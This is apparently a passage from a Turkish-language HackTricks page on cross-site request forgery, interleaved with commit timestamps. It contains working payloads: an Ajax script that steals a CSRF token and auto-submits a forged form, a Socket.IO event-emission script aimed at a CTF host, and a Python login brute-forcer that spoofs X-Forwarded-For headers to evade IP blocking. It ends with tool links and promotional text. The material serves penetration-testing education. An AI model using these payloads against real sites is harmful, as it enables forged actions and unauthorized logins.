2024-02-10 18:14:16 +00:00
< input type = "text" name = "username" value = "z" >
< input type = "checkbox" name = "status" checked = "" >
< input id = "token" type = "hidden" name = "token" value = "0000" / >
< button type = "submit" > Submit< / button >
2020-07-15 15:43:14 +00:00
< / form >
```
2024-02-23 16:46:32 +00:00
### **Ajax kullanarak CSRF belirteci çalma ve bir form ile post gönderme**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< body onload = "getData()" >
< form id = "form" action = "http://google.com?param=VALUE" method = "POST" enctype = "multipart/form-data" >
2024-02-10 18:14:16 +00:00
< input type = "hidden" name = "username" value = "root" / >
< input type = "hidden" name = "status" value = "on" / >
< input type = "hidden" id = "findtoken" name = "token" value = "" / >
< input type = "submit" value = "valider" / >
2020-07-15 15:43:14 +00:00
< / form >
< script >
var x = new XMLHttpRequest();
function getData() {
2024-02-10 18:14:16 +00:00
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
2020-07-15 15:43:14 +00:00
}
x.onreadystatechange = function() {
2024-02-10 18:14:16 +00:00
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
2020-07-15 15:43:14 +00:00
}
< / script >
```
2024-02-10 18:14:16 +00:00
### Socket.IO ile CSRF
2024-02-05 20:00:40 +00:00
```html
2020-08-06 20:38:54 +00:00
< script src = "https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js" > < / script >
< script >
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
2024-02-10 18:14:16 +00:00
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
2020-08-06 20:38:54 +00:00
});
< / script >
```
2024-02-23 16:46:32 +00:00
## CSRF Giriş Kaba Kuvvet
2020-08-06 20:38:54 +00:00
2024-02-23 16:46:32 +00:00
Kod, bir CSRF belirteci kullanarak bir giriş formunu Kaba Kuvvet saldı rı sı için kullanı labilir (Ayrı ca olası bir IP karalama listesini atlatmaya çalı şmak için X-Forwarded-For başlı ğı nı da kullanı yor):
2020-11-06 18:22:38 +00:00
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
2024-02-10 18:14:16 +00:00
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
2020-11-06 18:22:38 +00:00
def login(user, password):
2024-02-10 18:14:16 +00:00
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
2020-11-06 18:22:38 +00:00
with open(PASS_LIST, "r") as f:
2024-02-10 18:14:16 +00:00
for line in f:
login(USER, line.strip())
2020-11-06 18:22:38 +00:00
```
2024-02-10 18:14:16 +00:00
## Araçlar <a href="#tools" id="tools"></a>
2020-07-15 15:43:14 +00:00
* [https://github.com/0xInfection/XSRFProbe ](https://github.com/0xInfection/XSRFProbe )
2022-09-26 09:52:47 +00:00
* [https://github.com/merttasci/csrf-poc-generator ](https://github.com/merttasci/csrf-poc-generator )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2020-07-15 15:43:14 +00:00
* [https://portswigger.net/web-security/csrf ](https://portswigger.net/web-security/csrf )
2024-02-05 20:00:40 +00:00
* [https://portswigger.net/web-security/csrf/bypassing-token-validation ](https://portswigger.net/web-security/csrf/bypassing-token-validation )
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses ](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses )
2020-07-15 15:43:14 +00:00
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html ](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html )
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
2024-04-07 03:13:19 +00:00
< figure > < img src = "../.gitbook/assets/image (377).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 15:03:41 +00:00
2024-02-23 16:46:32 +00:00
[**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) sunucusuna katı lı n ve deneyimli hackerlar ve ödül avcı ları ile iletişime geçin!
2023-02-27 09:28:45 +00:00
2024-02-23 16:46:32 +00:00
**Hacking İçgörüleri**\
2024-03-17 16:37:08 +00:00
Hacking'in heyecanı na ve zorlukları na inen içeriklerle etkileşime girin
2022-10-27 23:22:18 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
2024-04-07 03:13:19 +00:00
Hı zlı tempolu hacking dünyası nda gerçek zamanlı haberler ve içgörülerle güncel kalı n
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
2024-04-07 03:13:19 +00:00
Yeni ödül avı programları nı ve önemli platform güncellemelerini takip edin
2023-02-27 09:28:45 +00:00
2024-03-17 16:37:08 +00:00
**Bize Katı lı n** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) ve bugün en iyi hackerlarla işbirliğine başlayı n!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-02-23 16:46:32 +00:00
< summary > < strong > Sı fı rdan kahraman olacak şekilde AWS hacklemeyi öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-04-07 03:13:19 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-31 01:25:17 +00:00
2024-04-07 03:13:19 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-02-23 16:46:32 +00:00
* [**The PEASS Family'yi** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-04-07 03:13:19 +00:00
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi Twitter'da** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )** takip edin.**
* **Hacking püf noktaları nı zı paylaşarak PR'lar göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >